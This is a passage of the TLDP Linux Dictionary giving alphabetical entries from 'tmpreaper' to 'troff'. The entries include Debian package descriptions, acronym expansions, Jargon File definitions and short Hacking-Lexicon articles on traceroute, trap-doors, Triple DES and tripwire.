Cleans up files in directories based on their age This package provides a program that can be used to clean out temporary−file directories. It recursively searches the directory, refusing to chdir() across symlinks, and removes files that haven't been accessed in a user−specified amount of time. You can specify a set of files to protect from deletion with a shell pattern. It will not remove files owned by the process EUID that have the `w' bit clear, unless you ask it to, much like `rm −f'. `tmpreaper' will not remove symlinks, sockets, fifos, or special files unless given a command line option enabling it to. WARNING: Please do not run `tmpreaper' on `/'. There are no protections against this written into the program, as that would prevent it from functioning the way you'd expect it to in a `chroot(8)' environment. The daily tmpreaper run can be configured through /etc/tmpreaper.conf . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tmpwatch

The tmpwatch utility recursively searches through specified directories and removes files which have not been accessed in a specified period of time. Tmpwatch is normally used to clean up directories which are used for temporarily holding files (for example, /tmp). Tmpwatch ignores symlinks, won't switch filesystems and only removes empty directories and regular files. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMR

Transient Memory Record From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMR

Triple Modular Redundancy From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMS

Telecommunications / Telephone Management System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMS

Test Mode Select (TAP, IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMS

Time Multiplexed Switch From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMS

Truth Maintenance System (AI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMSC

Tape Mass Storage Control (DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMSCP

Tape Mass Storage Control Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMSI
: Temporary Mobile Subscriber Identity (MM, GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMTOWTDI
: There's More Than One Way To Do It. (tim−toh'−dee) (Motto of the Perl Project) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMU
: Time Measurement Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TMUX
: Transport MUltipleXing protocol (RFC 1692), "TMux" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TN
: Terminal Node From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tn5250
: 5250 telnet emulator for accessing an IBM AS/400 tn5250 connects to an IBM AS/400 and emulates a 5250−compatible terminal or printer. It runs on the linux console, in an xterm, or on any other character terminal. You should install xterm to use the xt5250 script. If you don't know what an AS/400 is, you don't need this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNC
: Terminal Node Controller From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNC
: Threaded Neill Concelman [connector] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tnef
: Tool to unpack MIME application/ms−tnef attachments The TNEF program allows one to unpack the attachments which were encapsulated into the TNEF attachment. Thus alleviating the need to use Microsoft Outlook to view the attachment From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNEF
: Transportation Neutral Encapsulation Format (MAPI, MIME, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNFS
: Trusted Network File System (NFS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNL
: Technical NewsLetter (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNLCD
: Twisted Nematic Liquid Crystal Display (LCD), "TN−LCD" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNPC
: Taiwanese New Pc Consortium (org., Taiwan) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNS
: Transit Network Selection From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNTC
: Too Numerous To Count (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TNVIP

TelNet Visual Information Projection [protocol] (TELNET, VIP, RFC 1921) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tob

Small yet powerful program for tape oriented backups. tob is a simple yet configurable shell−script which, given a set of `volume definitions', runs tar or afio based backups, either for use with tape drives or floppy disks. You could also mount and unmount partitions for backups in the pre− and post−commands. tob is a general driver for the making and maintaining of backups. It makes full backups, differential backups (of the files which were changed since the last full backup), incremental backups (of files changed since all previous backups), lets you determine the size of the backup before actually making it, maintain listings of made backups, make remote backups and possibly more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOB

T−Online Billing (T−Online) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOC

Table Of Contents (CD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tochnog

A free implicit/explicit finite element analysis program Tochnog is a program for finite element analysis. Multithreading and multiprocessor systems are supported. Here is a partial list of models supported: * Differential equations (materials). * Convection−diffusion equations, * Stokes and Navier−Stokes, * Elasticity (isotropy and transverse isotropy), * Plasticity (Von−Mises, Mohr−Coulomb, Gurson, etc.; plasticity surfaces can be arbitrarily combined). Residues in equations and error estimates for all data can be printed/plotted. Main Author: Dennis Roddeman <dennis.roddeman@feat.nl> Home Page: http://tochnog.sourceforge.net/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TODO file

List of future desired work to be done to package. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

todos

Converts text files between DOS and Unix formats. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TODS

Transactions on Database Systems (ACM, DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toe

table of (terminfo) entries From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOEM

TOFU

Text Oben, Full−quote Unten (slang, Usenet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toggle

vt. To change a bit from whatever state it is in to the other state; to change from 1 to 0 or from 0 to 1. This comes from `toggle switches', such as standard light switches, though the word `toggle' actually refers to the mechanism that keeps the switch in the position to which it is flipped rather than to the fact that the switch has two positions. There are four things you can do to a bit: set it (force it to be 1), clear (or zero) it, leave it alone, or toggle it. (Mathematically, one would say that there are four distinct boolean−valued functions of one boolean argument, but saying that is much less fun than talking about toggling bits.) From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOKREUI

TOKen−Ring Extended User Interface (IBM, Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tom Linux

Distribution and website are in Chinese. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tomcat

Java Servlet 2.2 engine with JSP 1.1 support Jakarta−Tomcat is the reference implementation for the Java Servlet 2.2 and JavaServer Pages (JSP) 1.1 specification from the Apache Jakarta project. For more information about Tomcat please take a look at the Tomcat home page at http://jakarta.apache.org/tomcat/index.html. The official Servlet 2.2 and JSP 1.1 specifications can be found at http://java.sun.com/products/servlets and http://java.sun.com/products/jsp. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tomcat4

Java Servlet 2.3 engine with JSP 1.2 support Jakarta−Tomcat 4.0 is the reference implementation for the Java Servlet 2.3 and JavaServer Pages (JSP) 1.2 specification from the Apache Jakarta project. This package just contains the startup scripts for Tomcat 4.0. No documenation or web applications (webapps) are included here, please install the tomcat4−webapps package if you want them. For more information about Tomcat please take a look at the Tomcat home page at http://jakarta.apache.org/tomcat/index.html. The official Servlet 2.3 and JSP 1.2 specifications can be found at http://java.sun.com/products/servlet/ and http://java.sun.com/products/jsp/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tomcat4−webapps

Java Servlet engine −− documentation and example web applications Jakarta−Tomcat 4.0 is the reference implementation for the Java Servlet 2.3 and JavaServer Pages (JSP) 1.2 specification from the Apache Jakarta project. This package contains the HTML documentation and some web applications (webapps) that were bundled with Tomcat 4.0: * examples: Example servlets and JSP pages with source code * manager: A Web admin interface for Tomcat * tomcat−docs: HTML documentation for Tomcat * webdav: WebDAV access to local files (e.g. using cadaver) For more information about Tomcat please take a look at the Tomcat home page at http://jakarta.apache.org/tomcat/index.html. The official Servlet 2.3 and JSP 1.2 specifications can be found at http://java.sun.com/products/servlet/ and http://java.sun.com/products/jsp/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOMS

Transactions on Mathematical Software (ACM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tomsrtbt

"The most GNU/Linux on 1 floppy disk." Tom's Root Boot (tomsrtbt) is possibly the best known and widely used recovery disk version of Linux. Version 2.0.103 was released May 4, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Tomukas

Tomukas is a small Linux mini−distribution, featuring busybox, tinylogin, mc, joe, ssh, X−window with fvwm1 and not much else. Not for beginners. A small disk distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOOIS

Transactions on Office Information Systems (ACM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tool

1. n. A program used primarily to create, manipulate, modify, or analyze other programs, such as a compiler or an editor or a cross−referencing program. Oppose app, operating system. 2. [Unix] An application program with a simple, `transparent' (typically text−stream) interface designed specifically

to be used in programmed combination with other tools (see filter, plumbing). 3. [MIT: general to students there] vi. To work; to study (connotes tedium). The TMRC Dictionary defined this as "to set one's brain to the grindstone". See hack. 4. n. [MIT] A student who studies too much and hacks too little. (MIT's student humor magazine rejoices in the name "Tool and Die".) From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOOL
: [conference on] Technology of Object−Orientated Languages and Systems (OOP, conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toolame
: MPEG−1 layer 2 audio encoder toolame is a very fast (6x realtime on a 550mhz celeron) MPEG−1 layer 2 audio encoder with a command−line syntax nearly identical to that of the lame MPEG−1 layer 3 audio encoder. Because of patent issues surrounding the layer 3 encoder, the ability of most mpeg audio players to play layer 2 files, and the similarity in command−line syntax, toolame makes a very good drop−in replacement for lame or other layer 3 encoders under most circumstances. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toolbar−fancy
: Fancy toolbar for XEmacs21 This package Provides color toolbar for XEmacs21. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toolchain−source
: The GNU binutils and gcc source code This is the GNU toolchain source code that can be used to produce the GNU compilers, assembler, linker, and binary utilities. It is used by the different cross−compiler packages so that this source code does not need to be duplicated in all of them. You might also use this package to compile your own version of the toolchain if you need some special compile−time options applied. This package also contains two scripts, tpkg−make and tpkg−update, to automatically create and update crosscompiler−packages for any target architecture supported upstream. They are described in /usr/share/doc/toolchain−source/README. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toolsmith
: n. The software equivalent of a tool−and−die specialist; one who specializes in making the tools with which other programmers create applications. Many hackers consider this more fun than applications per se; to understand why, see uninteresting. Jon Bentley, in the "Bumper−Sticker Computer Science" chapter of his book "More Programming Pearls", quotes Dick Sites from DEC as saying "I'd rather write programs to write programs than write programs". From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toor
: n. The Bourne−Again Super−user. An alternate account with UID of 0, created on Unix machines where the root user has an inconvenient choice of shell. Compare avatar. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

top

TopologiLinux

TopologiLinux is a free easy to install Linux distribution that runs on top of a DOS/WIN harddisk without partitioning the disk. It is based on Slackware 8.1 with some improved packages like kernel 2.4.19 with Xwindows 4.2, gnome 1.4.1, and kde 3.01, and more. TopologiLinux v1.0 was released August 25, 2002. Version 3.1.0 was released April 29, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

topology

The physical or logical architecture of a private computer network. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

toppler

A clone of the "Nebulous" game on old 8 and 16 bit machines. Toppler is an almost complete reimplementation of the old game known as Tower Toppler or Nebulous. The target of the game is to reach the target door of each of the 8 towers in currently 2 missions with this little green animal. This door is usually at the very top of the tower. But finding the way by using elevators and walking through a maze of doors and platforms is not the only problem you have to solve. There are a bunch of other creatures living on the tower that will hinder you to reach your target by pushing you over the edge of the platforms. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOPS

Timesharing / Total OPerating System (DEC, OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tora

A graphical toolkit for database developers and administrators. Tora features a schema browser, SQL worksheet, PL/SQL editor & debugger, storage manager, rollback segment monitor, instance manager, and SQL output viewer. Via qt3 it can access PostgreSQL and MySQL directly. Any other database systems can be accessed via ODBC. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Torvalds, Linus

The creator of the Linux operating system, Linus Torvalds began this work back in 1991 as part of his University studies. Linus holds the Linux trademark and acts as coordinator of the linux development project. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Torvalds, Linus

The original creator of the Linux kernel in 1991, holder of the Linux copyright, and currently still the coordinator of the Linux development project. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TOS

Third Party Applications From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPA

Transient Program Area (DOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPC

Transaction Processing Council (org., manufacturer, DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPCC

Third Party Call Control From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tpconfig

A program to configure touchpad devices. This program can show or modify the configuration of several different kinds of touchpad devices, including the Synaptics TouchPad and the ALPS Glidepad/Stickpointer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tpctl

ThinkPad configuration tools for Linux This package contains programs for configuring IBM ThinkPad laptop computers. The tpctl program, along with its ncurses variant ntpctl, does under Linux some of the things that PS2.EXE does under DOS and the ThinkPad Configuration program does under Windows. The apmiser daemon is an intelligent power expenditure controller. Most programs in the package require a thinkpad−modules package compatible with the kernel you are running. If there is no such package in the Debian archive, you can build one from the thinkpad−source package using the make−kpkg utility. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPD

Technical Product Documentation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPDDI

Twisted Pair Distributed Data Interface (FDDI, STP, Chipcom) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPDU

Transport Protocol Data Unit (OSI, OSI/RM, PDU, ICC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPE

Twisted Pair Ethernet (ethernet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPF

Transaction Processing Facility (IBM, MVS/XA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPI

Tracks Per Inch (HDD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPM

Transactions−Per−Minute From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPMS

Transaction Processing Management System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPPMD

Twisted Pair Physical layer Medium Dependent (FDDI), "TP−PMD" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPQ

True Phone Quality (CAT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPRM

??? (Sun) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPS

TeleProcessing Systeme [gmbh] (provider) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPS

Transaction Processing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPS

Transactions Per Second (DB, DBMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPT

Twisted Pair Transceiver From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPU

Turbo Pascal Unit (TP, Borland) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tput

initialize a terminal or query terminfo database From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TPW

Turbo Pascal for Windows (Borland) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TR

Task Register (CPU, Intel, assembler, IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tr

translate or delete characters From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traceback error

In a computer program failure, a display showing the calling sequence of a function leading up to the error, which can make it easier for the programmer to determine the location of the error. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traceroute

provides information concerning the route which packets must take to get from your computer (the server in this case) to a remote computer/server; typically used to diagnose possible problems in packet routing. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traceroute

Traceroute is a command built into most systems that traces the path through the Internet between two points (on Windows, it is known as "tracert"). Every IP packet on the Internet has a Time−to−Live field. Each router subtracts one from this field when it forwards the packet. This was designed to solve the problem of "routing loops": routers get confused as to the proper network topology and end up routing packets in an infinite loop. The TTL field guarantees that these packets will eventually die on their own accord. When a packet dies in this fashion, the last router to see the packet sends a diagnostic message back to the sender informing of this fact. Consequently (and this is the genius part), you can purposely create small TTLs that are guaranteed to kill the packet. You set the TTL field first to 1, causing the first router to drop it and inform you. You set the TTL field to 2, causing the second router to drop it. You do this for all TTL values, getting back a notification from each router in the network, thus mapping the route between two points. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traceroute

Traces the route taken by packets over a TCP/IP network. The traceroute utility displays the route used by IP packets on their way to a specified network (or Internet) host. Traceroute displays the IP number and host name (if possible) of the machines along the route taken by the packets. Traceroute is used as a network debugging tool. If you're having network connectivity problems, traceroute will show you where the trouble is coming from along the route. Install traceroute if you need a tool for diagnosing network connectivity problems. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traceroute−nanog

NANOG traceroute This is the traceroute program maintained by Ehud Gavron at aces.com. It is based on the Van Jacobson/BSD traceroute and has additional features like AS lookup, TOS support, microsecond timestamps, path MTU discovery, parallel probing and others. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

traffic shaper
: a virtual network device that makes it possible to limit the rate of outgoing data flow over another network device. This is specially useful in scenarios (as ISP's), in which it is desirable to control and enforce policies regarding how much bandwidth is used by each client. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trafstats
: gather and store traffic information into an SQL database. This program uses the Packet CAPture library libpcap to gather network traffic data and then stores it in a PostgreSQL database. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tramp
: Remote file access in emacs. TRAMP stands for `Transparent Remote (file) Access, Multiple Protocol'. This package provides remote file editing, similar to ange−ftp and EFS. The syntax is a bit different though (the brackets must be there): /[host]dir or /[method/host]dir The other difference is that ange−ftp uses FTP to transfer files between the local and the remote host, whereas TRAMP uses a combination of rsh and rcp or other work−alike programs, such as ssh/scp. A emacs elisp tool to edit files on remote host using telnet, rsh, scp, ssh and more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trans−de−en
: A German−English translation dictionary A German−English dictionary with ca. 124,000 entries. This dictionary was designed for the "ding" dictionary lookup program, but may be used by other clients, too. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transcalc
: microwave and RF transmission line calculator Transcalc is an analysis and synthesis tool for calculating the electrical and physical properties of different kinds of RF and microwave transmission lines. Transcalc is built using the GIMP toolkit (GTK) for its GUI interface. For each type of transmission line, using dialog boxes, you can enter values for the various parameters, and either calculate its electrical properties (analyze), or use the given electrical requirements to sythesize physical parameters of the required transmission line. Available transmission lines (this list will expand with subsequent releases): Microstrip, Rectangular Waveguide. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transcriber
: Transcribe speech data using an integrated editor. Transcriber is a Tcl/tk tool, that enables easy transcription of recorded speech. It indispensable for every task that involves examination and transcription of audio files, like transcription of recorded interviews, song lyrics, radio shows and so on. It is also useful if you are active in the field of speech research. The snack library (included in contrib in transcriber−1.2) is now a separate package. This package still includes html_library−0.3. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transfig
: Utilities for printing figures from xfig. transfig also contains utilities for converting xfig figures to be used in LaTeX files. Note: transfig requires netpbm−nonfree be installed for gif support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transformiix
: An XSLT processor TransforMiiX is a fast standalone XSLT processor. It aims to be fully XSLT 1.0 compliant, although it hasn't achived that goal yet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

translate

translates given words from english to german or vice versa It looks up a word in a file with language−to−language translations (field separator should be \" :: \") and maintains local dictionaries. So it should be easy to add more languages, if you have such a dictionary. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

translate−docformat

any−to−any document translation system This is a command−line front end to many document format translation programs to facilitate the translation of documents from one format to another. Currently it supports major formats like the docbook, linuxdoc, debiandoc, and TeX, translating to HTML and ps and text. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transmission control protocol (TCP)

The most common Internet transport layer protocol, defined Internet Engineering Task Force (IETF) request for comment (RFC) 793; protocol used in networks that follow U.S. Department of Defense data communication standards. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transmission control protocol on top internet protocol (TCP/IP)

Communications protocol used to connect to a variety of different types of hosts on both private networks and carrier networks such as the Internet. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transport layer security (TLS)

A secure transmission protocol using data encryption and authentication. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

transproxy

Transparent Proxy Daemon for HTTP requests The program is used in conjunction with the Linux Transparent Proxy networking feature, and ipfwadm, to transparently proxy HTTP and other requests. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trap

1. n. A program interrupt, usually an interrupt caused by some exceptional situation in the user program. In most cases, the OS performs some action, then returns control to the program. 2. vi. To cause a trap. "These instructions trap to the monitor." Also used transitively to indicate the cause of the trap. "The monitor traps all input/output instructions." This term is associated with assembler programming (`interrupt' or `exception' is more common among HLL programmers) and appears to be fading into history among programmers as the role of assembler continues to shrink. However, it is still important to computer architects and systems hackers (see system, sense 1), who use it to distinguish deterministically repeatable exceptions from timing−dependent ones (such as I/O interrupts). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRAP

Tandem Recursive Algorithm Process From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trap door

n. (alt. `trapdoor') 1. Syn. back door −− a Bad Thing. 2. [techspeak] A `trap−door function' is one which is easy to compute but very difficult to compute the inverse of. Such functions are Good Things with important applications in cryptography, specifically in the construction of public−key cryptosystems. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trap−door

A synonym for the term back−door. The word trap−door often has some specific connotations. It often means a tiny piece of code left behind in the system that will allow the original programmer back in. Also, the trap−door one−way function is one where the function can be reversed the other−way if some small piece of information is given. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

trash

vt. To destroy the contents of (said of a data structure). The most common of the family of near−synonyms including mung, mangle, and scribble. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TREC

Texture and Rendering Engine Compression (???) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tree

displays directory tree, in color Displays an indented directory tree, using the same color assignments as ls, via the LS_COLORS environment variable. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tree−puzzle

[Biology] Reconstruction of phylogenetic trees by maximum likelihood TREE−PUZZLE (the new name for PUZZLE) is an interactive console program that implements a fast tree search algorithm, quartet puzzling, that allows analysis of large data sets and automatically assigns estimations of support to each internal branch. TREE−PUZZLE also computes pairwise maximum likelihood distances as well as branch lengths for user specified trees. Branch lengths can also be calculated under the clock−assumption. In addition, TREE−PUZZLE offers a novel method, likelihood mapping, to investigate the support of a hypothesized internal branch without computing an overall tree and to visualize the phylogenetic content of a sequence alignment. URL: http://www.tree−puzzle.de From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRIB

Transfer Rate of Information Bits From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRIF

Tiled Raster Interchange Format From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Trinity Rescue Kit

The Trinity Rescue Kit is based on Mandrake 9.0. It is designed to rescue/repair/prepare dead or damaged systems, be it Linux or Windows. It now has networking capabilities like ssh and samba and supports about every network card, disk controller and USB controller. Version 1.0 was released March 7, 2003. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TrinityOS

TrinityOS is a step−by−step, example−driven HOWTO on building a very functional Linux box with strong security in mind. TrinityOS is well known for its strong packet firewall ruleset, Chrooted and Split DNS (v9 and v8), secured Sendmail (8.x), Linux PPTP, Serial consoles and Reverse TELNET, DHCPd, SSHd, UPSes, system performance tuning, the automated TrinityOS−Security implementation scripts, and much more. The current version is 04/08/2003 released April 8, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Trinux

Trinux is a ramdisk−based Linux distribution that boots from a single floppy or CD−ROM, loads it packages from an HTTP/FTP server, a FAT/NTFS/ISO filesystem, or additional floppies. Trinux contains network security tools as well as support for Perl, PHP, and Python scripting languages. Remote Trinux boxes can be managed securely with OpenSSH. Version 0.80rc2 was released February 4, 2002. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Triple DES (3DES, 3DES_EDE)

A stronger form of DES where the algorithm is applied three times in order to encrypt data. Triple DES became necessary in the later part of the 20th century because DES had become so weak (a $200k machine was able to decrypt a DES encrypted message in hours). At that time, the new AES replacement had not yet appeared. In order to leverage DES hardware/software products, it was decided just to use DES three times with multiple keys. Point: Triple DES runs in "E−D−E" mode where it encrypts the data with the first key, then decrypts it with the second key, then encrypts with the third key. The second "decryption" phase is really just an encryption step: it is only by convention that one direction is considered encryption and the other direction decryption. The reason this technique is chosen is that if the same key is supplied three times, the effect is the same as a single encryption step. Controversy: The NSA urged banks not to adopt Triple−DES as a standard, citing national security concerns. They instead urged banks to adopt the Clipper chip. The banks went with Triple−DES in ANSI X9.52. In fact, as of 1998, several countries mandated the use of Triple−DES (replacing DES) in financial transactions. Controversy: Simply tripling the encryption does not necessarily triple its strength. For example, there are many crypto algorithms whereby encrypting with two different keys simply means you can decrypt with a single third key. Many suspect that tripling DES only doubles is cryptographic strength. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRIPS

Trade Related aspects of Intellectual Property rightS (GATT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tripwire

Tripwire is a tool that detects when files have been altered by regularly recalculating hashes of them and storing the hashes in a secure location. The product triggers when changes to the files have been detected. By using cryptographic hashes, tripwire is often able to detect subtle changes. Contrast: The simplistic form of tripwire is to check file size and last modification time. However, programs that change files (like viruses) will often keep these the same. On the other hand, keeping complete backups would require too much space. Therefore, cryptographic hashes are used. Contrast: The cryptographic hash calculated from the file is often known as a "fingerprint" or "signature". However, these terms have completely different meanings in other areas of security, so some people just say "hash" or "checksum". History: The original tool was published in 1992 for Unix. The company Tripwire Inc. was formed in 1998. Point: Reasons why files change: Replace common system programs with duplicates contains backdoors. Change configuration files to allow intruder back into the system. Alter system logfiles in order to cover tracks. Alter data files (such as financial records or school grades). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRIZ

Teorija Reschenija Isobretatelskich Zadatsch From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRM

Technical Reference Model From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TRMM

Token Ring Management Module (Token Ring) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

troff

/T'rof/ or /trof/ n. [Unix] The gray eminence of Unix text processing; a formatting and phototypesetting program, written originally in PDP−11 assembler and then in barely−structured early C by the late Joseph Ossanna, modeled after the earlier ROFF which was in turn modeled after the Multics and CTSS program RUNOFF by Jerome Saltzer (that name came from the expression "to run off a copy"). A companion program, nroff, formats output for terminals and line printers. In 1979, Brian Kernighan modified troff so that it could drive phototypesetters other than the Graphic Systems CAT. His paper describing that work ("A Typesetter−independent troff," AT&T CSTR #97) explains troff's durability. After discussing the program's "obvious deficiencies −− a rebarbative input syntax, mysterious and undocumented properties in some areas, and a voracious appetite for computer resources" and noting the ugliness and extreme hairiness of the code and internals, Kernighan concludes: None of these remarks should be taken as denigrating Ossanna's accomplishment with

TROFF. It has proven a remarkably robust tool, taking unbelievable abuse from a variety of preprocessors and being forced into uses that were never conceived of in the original design, all with considerable grace under fire. The success of TeX and desktop publishing systems have reduced troff's relative importance, but this tribute perfectly captures the strengths that secured troff a place in hacker folklore; indeed, it could be taken more generally as an indication of those qualities of good programs that, in the long run, hackers most admire. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

troff

format documents From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TROFF

